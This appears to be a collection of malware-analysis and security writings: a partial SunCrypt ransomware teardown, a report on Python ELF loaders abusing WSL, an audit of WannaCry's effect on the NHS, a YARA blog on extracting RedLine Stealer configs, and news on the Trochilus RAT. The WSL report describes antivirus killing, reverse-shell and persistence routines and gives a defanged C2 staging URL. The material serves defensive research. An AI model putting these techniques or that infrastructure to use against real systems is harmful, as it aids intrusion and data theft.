to encrypt the filesystem, and this is somehow reflected in their advertisement where they specify that SunCrypt uses a completely independent cryptography from the system API. Well, this is true, and stepping through the crypto made it complicated as there are only a few visible calls, and it relies on itself instead of the Windows CryptoAPI to generate the keys because the implementation is almost completely manual. Another interesting feature observed during the crypto walkthrough is that it skips files that are empty or less than 512 bytes in size to skip potential garbage files. The crypto is basically identical in all the samples and consists of a first loop to scan all the directories ensuring the drive C: is present and is encrypted. However, SunCrypt scans all the available network drives such as Windows SMB File Shares in order to encrypt them if they are connected and available. The malware in most cases contains two lists: - A list of directories that skips from the encryption process to ensure its recovery. - A huge list of file extensions used to ensure only vital files are maintained intact. These two arrays of lists are used with the FNV hashing technique again to ensure obfuscation. However, md5 `0a0882b8da225406cc838991b5f67d11` again saves the day, containing all this information in plain text. The directories and file extensions don’t change between samples and versions. Another file extension that is skipped is if the filename contains “YOUR_FILES_ARE_ENCRYPTED.HTML,” which is used for the ransom note to ensure its delivery to the victim. However, there is a problem that is not resolved. If the ransomware is executed twice, it would re-encrypt the filesystem as the file extension of the encrypted files is generated on the fly. This embarrassing scenario indicates that if a previous instance of SunCrypt encrypts the filesystem, another execution would re-encrypt all the encrypted files, making this very hard to solve. Once the directory is picked for encryption, SunCrypt decodes the DLL name “advapi32.dll” and a function to be loaded and used. The malware executes a GetProcAddress to use the function SystemFunction036 (RtlGenRandom); this will be our RNG to generate 32 random bytes without using CryptGenRandom function call or an insecure generator. After decoding the DLL and the function that will be called, SunCrypt uses SystemFunction036 to create 32-byte keys. This 32-byte buffer is validated after its generation to create a secure private key for the Elliptic Curve algorithm Curve. Curve25519 is a Diffie-Hellman function suitable for a wide variety of applications and is used by many software applications. After the generation of this private session key, SunCrypt jumps to the curve function to compute its session public key where this session private key is passed to the function along with a basepoint constant of 9 followed by all zeros. This session public key will be converted to hex format and used as the file extension for the encrypted file to allow the recovery, as each time a file is encrypted, the session private key is destroyed. The next step of SunCrypt is to load its embedded Curve25519 public key to compute a shared secret. The analyzed sample md5 `0a0882b8da225406cc838991b5f67d11` contains the following public key in hex format: ``` c75d83161c3768477c859b15cfe3f6c7bf707976bfed511af7015d04f7066558 ``` The other analyzed sample used in the blog to compare SunCrypt versions (MD5: `3d756f9715a65def4a302f5008b03809`) contains the public key: ``` 695c567285a5b331dcf1d61bb291ce850e92c57111678fe79a2e5c2e399c9310 ``` The implementation of Curve25519 looks manual and it’s likely to be using code from any of the multiple open-source implementations of Curve25519. The shared secret is computed by calling the curve function and passing the attacker’s public key, the generated private key, and the basepoint as parameters. This shared secret is used by another algorithm to encrypt the file, allowing its recovery with the attacker’s Curve25519 private key hosted in the SunCrypt C2 servers and the session public key that is the file extension of each file. Summarizing, each time a file is selected for encryption after the aforementioned checks, SunCrypt creates Curve25519 session keys, stores each public key as a file extension, and destroys the session private key. Once the session keys are created and the shared key is computed for a given file, the required data is sent via completion I/O port to the encryption thread, which takes a pointer to the file and its newly generated extension. To handle encryption threading, SunCrypt gets the number of processors and the maximum number of available threads that the operating system can allow to process I/O completion packets for I/O completion port. This provides efficient threading for multiple asynchronous I/O requests for encryption. For the file encryption, SunCrypt uses a very fast and secure algorithm, which in this case is ChaCha. The implementation of the ChaCha20 stream cipher is also manual and makes sense its use because it does not rely on statically linked libraries or the CryptoAPI, avoiding suspicious calls, and it’s very fast and secure. This cipher is used by other popular ransomware like Maze. Again, another similarity. The actual file encryption happens after the above steps. The malware calls ReadFile function to get the content of the file and pushes a pointer to the buffer with the file content, the file extension, and the computed shared key for that file to the ChaCha20 function that encrypts the file partially. This limitation is intended to speed up a bit more the encryption as it is enough to make the file useless. ## C2 Communications SunCrypt contains a network module unlike many other ransomware, and in my opinion, this is also influenced by Maze. The ransomware uses the IP addresses that are embedded in the configuration and attempts to push different information from the compromised host. It’s worth noting that the observed IP addresses in SunCrypt are in many cases consistent with previous associated Maze infrastructure’s subnet, reinforcing the idea of some sort of collaboration between ransomware dev groups. SunCrypt gathers information from the Windows system, including the Minor Version, Major Version, and Build number of the compromised system. The system survey also consists of gathering username and hostname information by calling GetUserNameA and GetComputerA functions. The network module gathers the information and creates a buffer that is later encoded with a hardcoded key. One of the things that raised my attention is that this step is identical between versions, meaning that these bytes are always used and intended to be sent in the network traffic. However, they are also used as a mutex if the sample generates one, which is not always the case. That’s why I’m naming it implant-id and mutex at the same time. It is some sort of identifier that they may find useful. Additionally, SunCrypt adds to this information (Versions and implant/mutex) the victim’s information as mentioned above. The network buffer contains the following example structure: The above-mentioned bytes are likely to be related to a manually implemented library used by the network routine to create the network buffer; however, the library was not identified. Afterward, the C2 address that was stored during the configuration decoding is loaded and pushed into the stack to send all this information to the routine handling the HTTP request. Another interesting detail that was mentioned before was the use of C2 infrastructure associated with the Maze team, reinforcing the idea of collaboration between ransomware teams, which may indicate not only a stable relationship between threat actors but also a potential cooperation to share infrastructure, resources, and techniques. ## Summary After the analysis of the samples, some but not a lot of evolution and changes can be appreciated. So far, only one sample was found using clear-text strings (md5: `0a0882b8da225406cc838991b5f67d11`), which contains vital strings such as the user-agent and the drive letter, whereas the rest of the identified samples contain some of the following modifications: - Use of and hiding all the relevant data. - Implementation. From all the observed samples, most of them have been spotted using PowerShell as the initial vector to obfuscate the payload and to load the binary into memory and “honors” all the functionalities that the developer team announces in their forum post, like the non-use of the CryptoAPI for file encryption and thread features. By looking at the PowerShell loaders, I personally found them similar to Netwalker PowerShell loaders, which makes me think that the SunCrypt team got some inspiration from them. SunCrypt contains multiple manual implementations in the source code to avoid detections, but despite the notable differences, it can be noticed that the team got a lot of inspiration from Maze. SunCrypt copied part of its cryptoscheme, like the use of the ChaCha20 stream cipher, and modified its session key implementation by replacing RSA with the Curve25519 algorithm, probably for two main reasons: - Key generation is faster and uses less resources, which allows a very fast key generation and operation. - This allows for more efficient operations. Additionally, to increase the encryption speed, the SunCrypt team sends file data via completion I/O port to the encryption thread. Overall, I have to say SunCrypt is not a very sophisticated ransomware compared to some of its competitors like Maze, Egregor, Ragnar, or Wastedlocker. The main motivation I have to say this is due to the evolution, techniques, language (C over OOP like C++), and obfuscation techniques pointing in this direction, but they got a lot of inspiration to make something similar to Maze. In fact, when I saw SunCrypt for the first time, I thought: “someone from the team just left and started their own project?” But after diving into it and checking more samples, I could notice that the level of sophistication and experience, tooling, and techniques used are not the same, but I feel confident saying that they were a source of inspiration for sure. However, what it has in common with Maze is that it shares some of the command line arguments, the use of a network module for data exfiltration, and the algorithm for file encryption, among other references. The main differences with Maze are notable, and it will be interesting to keep an eye on this malware to see its evolution and modifications to survive as the RaaS model service is a fast-paced ecosystem full of very capable competitors.
# No Longer Just Theory: Black Lotus Labs Uncovers Linux Executables Deployed as Stealth Windows Loaders **September 16, 2021** **Black Lotus Labs** ## Executive Summary In April 2016, Microsoft shocked the PC world when it announced the Windows Subsystem for Linux (WSL). WSL is a supplemental feature that runs a Linux image in a near-native environment on Windows, allowing for functionality like command line tools from Linux without the overhead of a virtual machine. While this new functionality was welcomed by developers for the freedom it offers to leverage open-source software, it is also a new attack surface threat actors can – and do – target. Black Lotus Labs recently identified several malicious files that were written primarily in Python and compiled in the Linux binary format ELF (Executable and Linkable Format) for the Debian operating system. These files acted as loaders running a payload that was either embedded within the sample or retrieved from a remote server and was then injected into a running process using Windows API calls. While this approach was not particularly sophisticated, the novelty of using an ELF loader designed for the WSL environment gave the technique a detection rate of one or zero in Virus Total, depending on the sample, as of the time of this writing. Thus far, we have identified a limited number of samples with only one publicly routable IP address, indicating that this activity is quite limited in scope or potentially still in development. To our knowledge, this small set of samples denotes the first instance of an actor abusing WSL to install subsequent payloads. We hope that by illuminating this distinct tradecraft, we can help drive better detection and alerting before its use becomes more rampant. ## Introduction In early August, as part of the team’s proactive threat hunting process, Black Lotus Labs researchers discovered a series of suspicious ELF files compiled for Debian Linux. The files were written in Python 3 and converted into an ELF executable with PyInstaller. The Python code acted as a loader by utilizing various Windows APIs which enabled the retrieval of a remote file and then injection into a running process. This tradecraft could allow an actor to gain an undetected foothold on an infected machine. As the negligible detection rate on VirusTotal suggests, most endpoint agents designed for Windows systems don’t have signatures built to analyze ELF files, though they frequently detect non-WSL agents with similar functionality. During our investigation, we discovered two variants of the ELF loader approach: the first was written purely in Python, while the second variant predominantly used Python to call various Windows APIs using ctypes and invoke a PowerShell script. We hypothesize that the PowerShell variant is still in development or perhaps crafted for a specific environment, as it did not execute under its own volition in our test environment. However, our research indicates this is a viable approach, as we were able to successfully create a proof of concept that called Windows APIs from the WSL subsystem. ## Technical Details Our team at Black Lotus Labs identified a series of samples uploaded every two to three weeks from as early as May 3, 2021, through August 22, 2021, that target the WSL environment. All samples share similar tradecraft and are compiled with Python 3.9 using PyInstaller for the Debian operating system version 8.3.0-6. Some of the samples contained lightweight payloads which could have been generated from open-source tools such as MSFVenom or Meterpreter. In other cases, the files attempted to download shellcode from a remote C2. Over the course of the summer, we observed an evolution of this tradecraft, with the earliest samples written purely in Python 3 and the latest iteration using ctypes to call Windows APIs, in addition to employing PowerShell to perform subsequent actions on the host machine. ### Python Variant The variant written in Python that does not utilize any Windows API appeared to be the earliest iteration of the loader file. One notable feature is that this loader used standard Python libraries, making it cross-compatible to run on both Linux and Windows machines. We found one test sample where the script prints the words “Пивет Саня” which translates from Russian to the informal “Hello Sanya”, indicating that the author has some familiarity with the language. All of the files associated with this tradecraft contained private, or non-routable, IP addresses – except for one. That sample contained a public IP address of 185.63.90[.]137 as well as a loader file written in Python and converted into an executable via PyInstaller. The file first attempted to allocate memory from the machines, then created a new process and injected a resource that was stored on a remote server located at hxxp://185.63.90[.]137:1338/stagers/l5l.py. When Black Lotus Labs researchers tried to grab the resource from this remote server, the file was already taken offline, indicating that the threat actor left this address in either from a test or a previous campaign. We did identify a couple of other malicious files that all communicated with the same IP address (185.63.90[.]137) around the same timeframe as the samples containing Meterpreter payloads, some of which were obfuscated with the Shikata Ga Nai encoder. While the Meterpreter framework is very well known in the industry, that has not stopped cybercrime and ransomware groups from using it in the past. We also hypothesize that it would be trivial for the operator to swap out the Meterpreter payload for some more advanced tools such as either Cobalt Strike or even a custom agent. ### WSL Variant Using PowerShell and Ctypes The ELF to Windows binary file execution path was different in various files. In some samples, PowerShell was used to inject and execute the shellcode; in others, Python ctypes was used to resolve Windows APIs. In one PowerShell sample, the compiled Python called three functions: `kill_av()`, `reverseshell()`, and `windowspersistance()`. The `kill_av()` function did as its name implies: it attempted to kill suspected AV products and analysis tools using os.popen(). The `reverseshell()` function used a subprocess to execute a Base64-encoded PowerShell script every 20 seconds inside of an infinite while true loop, blocking any other function from being executed. The `windowspersistence()` function copied the original ELF file to the appdata folder under the name payload.exe and used a subprocess to add a registry run key for persistence. The decoded PowerShell used `GetDelegateForFunctionPointer` to call `VirtualAlloc`, copy the MSFVenom payload to the allocated memory and again use `GetDelegateForFunctionPointer` to call `CreateThread` on the allocated memory containing the payload. Another sample used Python ctypes to resolve Windows APIs to inject and call the payload. During our analysis we discovered small inconsistencies, such as variable types, which rendered the sample inert. This led us to assess that the codebase is likely still in development, though close to being finished. Based on Black Lotus Labs visibility on the one routable IP address, this activity appeared to be narrow in scope with targets in Ecuador and France interacting with the malicious IP (185.63.90[.]137) on ephemeral ports between 39000 – 48000 in late June and early July. Based off of the limited number of connections, this could have been an actor testing this new capability from a VPN or proxy node. With broader industry detection of this technique, we suspect additional activity will be uncovered. ## Conclusion As the once distinct boundaries between operating systems continue to become more nebulous, threat actors will take advantage of new attack surfaces. We advise defenders who’ve enabled WSL ensure proper logging in order to detect this type of tradecraft. To combat this particular campaign, Black Lotus Labs null-routed the threat actor infrastructure across the Lumen global IP network. Black Lotus Labs continues to follow this activity to detect and disrupt similar compromises, and we encourage other organizations to alert on this and similar campaigns in their environments. This information is provided “as is” without any warranty or condition of any kind, either express or implied. Use of this information is at the end user’s own risk. Services not available everywhere. ©2022 Lumen Technologies. All Rights Reserved.
# Investigation: WannaCry Cyber Attack and the NHS ## What this investigation is about On Friday 12 May 2017, a global ransomware attack, known as WannaCry, affected more than 200,000 computers in at least 100 countries. In the UK, the attack particularly affected the NHS, although it was not the specific target. At 4 pm on 12 May, NHS England declared the cyber attack a major incident and implemented its emergency arrangements to maintain health and patient care. On the evening of 12 May, a cyber-security researcher activated a kill-switch so that WannaCry stopped locking devices. According to NHS England, the WannaCry ransomware affected at least 81 out of the 236 trusts across England, because they were either infected by the ransomware or turned off their devices or systems as a precaution. A further 603 primary care and other NHS organisations were also infected, including 595 GP practices. Before the WannaCry attack, the Department of Health and its arm’s-length bodies had work underway to strengthen cyber-security in the NHS. For example, NHS Digital was broadcasting alerts about cyber threats, providing a hotline for dealing with incidents, sharing best practice, and carrying out on-site assessments to help protect against future cyber attacks. In light of the WannaCry attack, the Department announced further plans to strengthen NHS organisations’ cyber-security. Our investigation focuses on events immediately before 12 May 2017 and up until 30 September 2017. We only cover the effect the WannaCry attack had on the NHS in England. We do not cover how the WannaCry attack affected other countries or organisations outside the NHS. A cyber attack on either the health or social care sectors could cause disruption across the whole health and social care sector. This investigation sets out the facts about: - the ransomware attack’s impact on the NHS and its patients; - why some parts of the NHS were affected; and - how the Department and NHS national bodies responded to the attack. ## Summary The WannaCry attack affected NHS services in the week from 12 May to 19 May 2017. The Department of Health and NHS England worked with NHS Digital, NHS Improvement, the National Cyber Security Centre, the National Crime Agency, and others to respond to the attack. ### Key findings **The risk of a cyber attack affecting the NHS** WannaCry was the largest cyber attack to affect the NHS, although individual trusts had been attacked before 12 May 2017. For example, two of the trusts infected by WannaCry had been infected by previous cyber attacks. One of England’s biggest trusts, Barts Health NHS Trust, had been infected before, and Northern Lincolnshire and Goole NHS Foundation Trust had been subject to a ransomware attack in October 2016, leading to the cancellation of 2,800 appointments. The Department was warned about the risks of cyber attacks on the NHS a year before WannaCry, and although it had work underway, it did not formally respond with a written report until July 2017. The Secretary of State for Health asked the National Data Guardian and the Care Quality Commission (CQC) to undertake reviews of data security. These reports were published in July 2016 and warned the Department that cyber attacks could lead to patient information being lost or compromised and jeopardise access to critical patient record systems. **How the WannaCry attack affected the NHS** The attack led to disruption in at least 34% of trusts in England, although the Department and NHS England do not know the full extent of the disruption. On 12 May, NHS England initially identified 45 NHS organisations, including 37 trusts, that had been infected by the WannaCry ransomware. Over the following days, more organisations reported they had been affected. In total, at least 81 out of 236 trusts across England were affected. Thousands of appointments and operations were cancelled, and in five areas, patients had to travel further to accident and emergency departments. Between 12 May and 18 May, NHS England collected some information on cancelled appointments, identifying 6,912 cancellations, and estimated more than 19,000 appointments would have been cancelled in total. The Department, NHS England, and the National Crime Agency reported that no NHS organisation paid the ransom, but the Department does not know how much the disruption to services cost the NHS. Costs include cancelled appointments, additional IT support provided by local NHS bodies or IT consultants, and the cost of restoring data and systems affected by the attack. **Lessons learned** NHS Digital stated that all organisations infected by WannaCry shared the same vulnerability and could have taken relatively simple action to protect themselves. All NHS organisations infected by WannaCry had unpatched or unsupported Windows operating systems, making them susceptible to the ransomware. The NHS has accepted that there are lessons to learn from WannaCry and is taking action. Lessons identified include the need to: - develop a response plan for cyber attacks; - ensure organisations implement critical CareCERT alerts, including applying software patches; - ensure essential communications are maintained during an incident; and - ensure that organisations take the cyber threat seriously and work proactively to maximise resilience. ## Part One: The impact of the cyber attack WannaCry was the largest ever cyber attack to affect the NHS in England. The timeline of the main events relating to the WannaCry ransomware attack which affected NHS services from 12 May to 19 May 2017 is significant. ### The scale of the attack NHS Digital reported that the ransomware spread via the internet, including through the N3 network. The WannaCry ransomware attack affected at least 81 out of 236 trusts across England. Of these 81 trusts: - 37 trusts were infected and locked out of devices (of which, 27 were acute trusts); - 44 trusts were not infected but reported disruption. The trusts infected by the WannaCry ransomware experienced two main types of disruption: - NHS staff being locked out of devices, preventing or delaying access to patient information; - medical equipment being locked or isolated from trusts’ IT systems to prevent them from being locked. Despite widespread local disruption, NHS Digital reported that national NHS IT systems managed by NHS Digital were not infected. ### The impact on patients As infected NHS organisations could not access important information and electronic systems, they had to cancel appointments and operations. Between 12 May and 18 May, NHS England identified that the NHS had cancelled 6,912 appointments, estimating the total number of cancelled appointments to be around 19,494. NHS organisations did not report any cases of harm to patients or data being compromised or stolen. The NHS continued to provide emergency care from 12 May to 19 May, although some patients had to travel further due to service diversions. ### The financial impact The Department of Health, NHS England, and the National Crime Agency reported that no NHS organisations paid the ransom. The NHS has not calculated the total cost of cancelled appointments, additional IT support, or the cost of restoring data and systems affected by the attack. ### The recovery NHS England focused its initial response on maintaining emergency care, and within 24 hours began attending to primary care. The recovery was aided by the work of a cyber-security researcher who activated a kill-switch, stopping WannaCry from locking devices. ## Part Two: Why some parts of the NHS were affected NHS organisations across England were affected by the WannaCry attack. The concentration of infected trusts in the North NHS region and the Midlands and East NHS region was noted, as these organisations were hit early on 12 May before the WannaCry kill-switch was activated. ### Failure to patch and update systems NHS England indicated that WannaCry infected parts of the NHS mainly because organisations had failed to maintain good cyber-security practices. All NHS organisations infected by WannaCry had unpatched or unsupported Windows operating systems. ### Leadership and size of trusts There was no clear relationship between those trusts infected by WannaCry and the quality of their leadership, as rated by the Care Quality Commission (CQC). Infected trusts tended to employ more staff than average, which may have contributed to the challenges in managing IT systems. ## Part Three: How the Department and the NHS responded The Department of Health has overall national responsibility for cyber-security resilience and responding to incidents in the health sector. However, it devolves responsibility for managing cyber-security to local organisations. ### How the cyber attack was managed Before the WannaCry attack, the Department had developed a plan for responding to a cyber attack, but it had not been tested at a local level. On 12 May 2017, NHS England declared a national major incident and coordinated the response with NHS Digital and NHS Improvement. Affected trusts received assistance from national bodies, including advice and technical support from NHS Digital. Staff across the NHS worked through the weekend to resolve the problem and avoid further issues. ### The risk of a cyber attack had been identified before WannaCry The Secretary of State for Health had asked for reviews of data security, which warned the Department about the cyber threat. Although WannaCry was the largest cyber-security incident to affect the NHS, individual NHS organisations had been victims of other attacks in recent years. ### Lessons learned The NHS has identified the need to improve the protection of services from future cyber attacks, including developing a response plan, ensuring critical alerts are implemented, and maintaining essential communications during incidents. ## Appendix One: Our investigative approach ### Scope We conducted an investigation into the WannaCry cyber attack that affected the NHS in England on 12 May 2017. We investigated: - the WannaCry attack’s impact on the NHS and its patients; - why some parts of the NHS were affected; and - how the Department, NHS national bodies, and other national bodies responded to the incident. ### Methods We conducted semi-structured interviews with officials from: - Department of Health - NHS England - NHS Digital - NHS Improvement - Care Quality Commission - National Cyber Security Centre - National Crime Agency - Cabinet Office.
# YARA for Config Extraction **Author:** Abdallah Elshinbary **Date:** August 8, 2022 **Read Time:** 8 minutes YARA is a tool aimed at helping malware researchers to identify and classify malware samples. It’s considered to be the pattern matching swiss knife for malware researchers. If you are not familiar with writing YARA rules, the official docs would be a great start. In this blog, I will go through how YARA rules can be used for malware config extraction. YARA has come a long way since its original release and it now has some awesome modules for writing better and more complex rules. ## What is a YARA Module A YARA module is like a plugin for extending YARA features; it allows you to define data structures and functions which can be used in your rules. To use a YARA module you simply import it using `import "module_name"`, you can refer to the docs to learn about the available functions of each module. **Example:** ```yara import "pe" rule test { condition: pe.number_of_sections == 1 } ``` With that said, let’s now jump into malware land. I will demonstrate on two variants of RedLine Stealer, which is a very popular dotnet stealer. ## RedLine Stealer Variant 1 The first variant stores the config in plaintext; we are only interested in two fields (C2 and BotnetID). To read these fields we need to understand how `ldstr` instruction works. The instruction’s opcode is `0x72` followed by 4 bytes which represent the string token. A token is a DWORD value that represents a table and an index into that table. For example, the EntryPointToken `0x0600002C` references table `0x06` (MethodDef) and its row `0x2C`. The table index is 1 byte and the row index is 3 bytes. In the following instruction, for example, the string token is `0x7000067B` (little-endian) and the row index is `0x67B`. ``` 727B060070 // ldstr "87.251.71.4:80" ``` The dotnet module already has the functionality to retrieve all user strings from a dotnet sample. ```yara import "dotnet" import "console" rule Test { condition: for all i in (0..dotnet.number_of_user_strings-1): ( console.log(dotnet.user_strings[i]) ) } ``` Notice that I used `sed` to remove null characters because dotnet user strings are stored as an array of unicode strings. This is cool but we need to get the user strings using the row index from the string token. To achieve this we need to make a couple of changes to the dotnet module source file at `libyara/modules/dotnet/dotnet.c`. This will index the user strings array by row index (offset from the start of the strings table). To compile and install YARA you need to run these two scripts for the first time only: ```bash $ ./bootstrap.sh $ ./configure ``` Then you build YARA with your changes: ```bash $ make $ sudo make install ``` We can now write a simple rule to read the config fields. ```yara import "dotnet" import "console" rule Redline { strings: $get_conf_v1 = { 72 ?? ?? ?? 70 // IL_0000: ldstr "87.251.71.4:80" 80 ?? ?? ?? 04 // IL_0005: stsfld <IP> 72 ?? ?? ?? 70 // IL_000A: ldstr "lyla" 80 ?? ?? ?? 04 // IL_000F: stsfld <ID> 72 ?? ?? ?? 70 // IL_0014: ldstr "" 28 ?? ?? ?? ?? // IL_0019: call set_Message(string) 2A // IL_001E: ret } condition: $get_conf_v1 and console.log("[+] C2: ", dotnet.user_strings[int32(@get_conf_v1+1) & 0xffffff] ) and console.log("[+] Botnet: ", dotnet.user_strings[int32(@get_conf_v1+11) & 0xffffff] ) } ``` `@get_conf_v1`: address of the first match of `$get_conf_v1` `int32`: reads 4 bytes (string token) from an offset, I used `0xffffff` bit mask to only get the row index. Cool, let’s move to the second variant. ## RedLine Stealer Variant 2 This variant stores the config in an encrypted form. The decryption algorithm looks as follows: Currently, YARA doesn’t have a module to do base64 and xor operations in conditions, so why not write our own module :) ### Writing Our Own YARA Module Modules are written in C and built into YARA as part of the compiling process. I will explain briefly how to write a YARA module; for more details refer to the official docs. YARA modules reside in `libyara/modules`, it’s recommended to use the module name as the file name for the source file. Here I created a new module directory named `malutils` and inside it is the source file named `malutils.c`, now let’s go through the source code. First, we need to include the required headers to be able to use YARA’s module API. Next, we define the required functions: - Xor decryption function which takes a buffer and a key and returns the decrypted string buffer. - Base64 decoding function which takes a base64 encoded string and returns the decoded value. - Helper function to convert dotnet user strings from wide to ascii. Then comes the declaration section where we declare the functions and data structures that will be available for our YARA rules. After that, we have two pairs of functions, the first pair is `module_initialize` & `module_finalize`. These functions allow you to initialize and finalize any global data structure you may need to use in your module, and both functions are invoked whether or not the module is being imported by some rule. The second pair is `module_load` & `module_unload`. The `module_load` function is invoked once for each scanned file (only if the module is imported in your rule). It’s where your module can inspect the file being scanned, parse or analyze it in the way preferred, and then populate the data structures defined in the declarations section. For each call to `module_load` there is a corresponding call to `module_unload`. This function allows your module to free any resource allocated during `module_load`. ### Final Touches Before we test our module, there’s a nasty bug we need to take care of. When writing a YARA module, instead of using the C return statement in your declared functions you must use `return_string(x)`, `return_integer(x)`, or `return_float(x)` to return from a function. The problem occurs when we return from `base64d` function; the decoded string might contain null bytes so `return_string` won’t return the full buffer. As you can see below, `return_string` uses `strlen` to determine the length of the returned string so it will stop at the first null byte. As a workaround, I defined a new return macro called `return_sized_string` which enables us to set the length of the returned string rather than relying on `strlen`. ### Building Our Module To include our module in the compiling process of YARA we must follow two further steps: - Add our module name to the module_list at `libyara/modules/module_list` ``` MODULE(malutils) ``` - Add our module source file to the must compiled modules at `libyara/Makefile.am` ``` MODULES += modules/malutils/malutils.c ``` Finally, we build YARA with our module: ```bash $ make $ sudo make install ``` With everything in place, let’s now test our module. Below is the final YARA rule that handles both RedLine variants. ```yara import "dotnet" import "console" import "malutils" rule Redline { meta: date = "2022-08-08" author = "Abdallah 'n1ghtw0lf' Elshinbary" description = "Extracts Redline config (educational)" strings: $get_conf_v1 = { 72 ?? ?? ?? 70 // IL_0000: ldstr "87.251.71.4:80" 80 ?? ?? ?? 04 // IL_0005: stsfld <IP> 72 ?? ?? ?? 70 // IL_000A: ldstr "lyla" 80 ?? ?? ?? 04 // IL_000F: stsfld <ID> 72 ?? ?? ?? 70 // IL_0014: ldstr "" 28 ?? ?? ?? ?? // IL_0019: call set_Message(string) 2A // IL_001E: ret } $get_conf_v2 = { 72 ?? ?? ?? 70 // IL_0000: ldstr "CyYOXysPAwUnB1NQCxtdWioxKUInBC5QCDNUUw==" 80 ?? ?? ?? 04 // IL_0005: stsfld <IP> 72 ?? ?? ?? 70 // IL_000A: ldstr "FzcNJDEOEDw7O1Y/FEM/IQ==" 80 ?? ?? ?? 04 // IL_000F: stsfld <ID> 72 ?? ?? ?? 70 // IL_0014: ldstr "" 80 ?? ?? ?? 04 // IL_0019: stsfld <Message> 72 ?? ?? ?? 70 // IL_001E: ldstr "Baying" 80 ?? ?? ?? 04 // IL_0023: stsfld <Key> } condition: dotnet.is_dotnet and ( ( $get_conf_v1 and console.log("[+] C2: ", malutils.wtoa(dotnet.user_strings[int32(@get_conf_v1+1) & 0xffffff]) ) and console.log("[+] Botnet: ", malutils.wtoa(dotnet.user_strings[int32(@get_conf_v1+11) & 0xffffff]) ) ) or ( $get_conf_v2 and console.log("[+] C2: ", malutils.base64d( malutils.xord( malutils.base64d( malutils.wtoa(dotnet.user_strings[int32(@get_conf_v2+1) & 0xffffff]) // enc c2 ), malutils.wtoa(dotnet.user_strings[int32(@get_conf_v2+31) & 0xffffff]) // xor key ) ) ) and console.log("[+] Botnet: ", malutils.base64d( malutils.xord( malutils.base64d( malutils.wtoa(dotnet.user_strings[int32(@get_conf_v2+11) & 0xffffff]) // enc botnet ), malutils.wtoa(dotnet.user_strings[int32(@get_conf_v2+31) & 0xffffff]) // xor key ) ) ) and console.log("[+] Key: ", malutils.wtoa(dotnet.user_strings[int32(@get_conf_v2+31) & 0xffffff]) ) ) ) } ``` Running the rule on a list of samples produces the following output: Beautiful right! You can pull the code and try it yourself at https://github.com/N1ght-W0lf/yara/tree/malutils. It was just for learning purposes so not the best code. ## Samples - fed976b2d134008fd6daec8edc00099935df756beb721034f71db33e4d675a6e - e4f7246b103d9bda3a7604bea12dc5ac1064764c0f3691617c9829c4e5d469b5 - 2d3503d8540e319851a67e55f06ed9e5ba060e821eec6dbc83960a5947ad1310 - a8c498f5129af0229081edf1e535ac9dab6ad568befcbcecbfc7cc4c61e0a8eb - c19938f0b9648dc1f6b95d0e767164da832b9a92f8128ab47dcb81c5e1ceb31a - e94d48e09cace8937941fbf81d1a466fa2b2b6acfd0d6142fc3443c70e067294 - f343005539a589ec5512559e0bdc824c1069196ae39d519e5b1f3257f4a6660b
# Threat Labs | Trellix Stories The latest cybersecurity trends, best practices, security vulnerabilities, and more. ## Recent News - **May 10, 2022**: Trellix Accelerates Growth in First 100 Days - **May 9, 2022**: CRN Recognizes Trellix Leaders on 2022 Women of the Channel and Power 100 List - **Apr 27, 2022**: Trellix Finds Escalation of Cyberattacks Targeting Critical Infrastructure as Geopolitical Tensions Rise - **Apr 14, 2022**: Trellix Report Gauges Cyber Readiness of German, British and French Government Agencies and Critical Infrastructure Providers - **Apr 14, 2022**: Trellix Report Gauges Cyber Readiness of Indian, Australian and Japanese Government Agencies and Critical Infrastructure Providers ## Recent Stories ### Promotions Trellix Threat Labs Research Report: April 2022 We’re no strangers to cybersecurity. But we are a new company. Stay up to date as we evolve. Please enter a valid email address. Zero spam. Unsubscribe at any time.
# Trochilus RAT Evades Antivirus Detection, Used for Cyber-Espionage in South-East Asia A new type of RAT (Remote Access Trojan) has been discovered in use against governments and civil society organizations in South-East Asia, the Arbor Security Engineering & Response Team (ASERT) at Arbor Networks reports. This particular RAT has been linked to a previous campaign against the Myanmar government that was unmasked by both Arbor Networks' and Cisco's security teams at the end of August 2015. During that campaign, the threat actor identified as Group 27 used watering hole attacks on official Myanmar government websites to infect unsuspecting users with the PlugX malware (a RAT) when accessing information on the upcoming Myanmar elections. The Myanmar cyber-espionage campaign continued, even after it was made public. Arbor's ASERT team is now reporting that, after looking deeper at that particular campaign, and by exposing a new trail in the group's activities, they managed to identify a new RAT that was undetectable at that time by most antivirus vendors. Named Trochilus, this new RAT was part of Group 27's malware portfolio that included six other malware strains, all served together or in different combinations, based on the data that needed to be stolen from each victim. This collection of malware, dubbed the Seven Pointed Dagger by ASERT experts, included two different PlugX versions, two different Trochilus RAT versions, one version of the 3012 variant of the 9002 RAT, one EvilGrab RAT version, and one unknown piece of malware, which the team has not entirely decloaked just yet. According to the security experts, this collection of malware was discovered after their first initial report was published, meaning that Group 27 ignored the fact they were unmasked and continued to infect their targets regardless, through the same entry point, the Myanmar Union Election Commission (UEC) website. Trochilus RAT activity was discovered during both months of October and November 2015. As for Trochilus itself, Arbor's team says that the RAT has mainly reverse shell features and executes in memory only, making it very hard to detect by classic antivirus solutions. Nevertheless, some clues as to the intrusion are left behind and can be picked up by antivirus engines later on. Furthermore, the researchers were even able to get a hold of the malware's source code, and later linked it to a GitHub profile for a user named 5loyd. From Trochilus' GitHub project page, we see that this is "a fast&free Windows remote administration tool," coded in C++, which features support for various communications protocols, single-threaded operation, a file manager module, a remote shell, a non-UAC mode, the capability to uninstall itself, get system info from remote computers, and to download, upload, and execute files. We doubt that 5loyd is actually part of Group 27. It may be possible that the group just hijacked his source code and used it for their malicious purposes.
# Yara: In Search Of Regular Expressions This blog post is based on my paper *Pattern Matching in YARA: Improved Aho-Corasick Algorithm* and a pull request that I opened on the upstream version of Yara. My main goal is to describe the changes from a more practical point of view and also provide some updates and changes that were made from the initial design proposed in the paper, as practical usage in Avast showed me some additional ways how to improve my code. Yara is a pattern-matching tool used mainly to classify and identify malware. It is also an open-source project with an active community that is working hard to improve this tool every day. In this post, I will not go into details about what Yara is and how it can be used. ## Motivation We use the Yara tool every day at Avast, and it is a critical help for our malware analysts. We are also trying to give back and bring as many of our improvements and additional features into the upstream version as possible. The changes I am proposing address a problem faced by our analysts: the “slowing down” warning, where rules can generate the following: ``` $ ./yara yara_rule.yar -r /directory warning: rule “can_be_slow” in ../yara_rule.yar(4): string “$slow_string” may slow down scanning ``` Besides the fact that we should be aware of every warning, not just straight errors, this negatively influences the usability of rules. For example, the VT Hunting platform does not accept rules with warnings. Most notably, one of our analysts was trying to create a rule that would detect 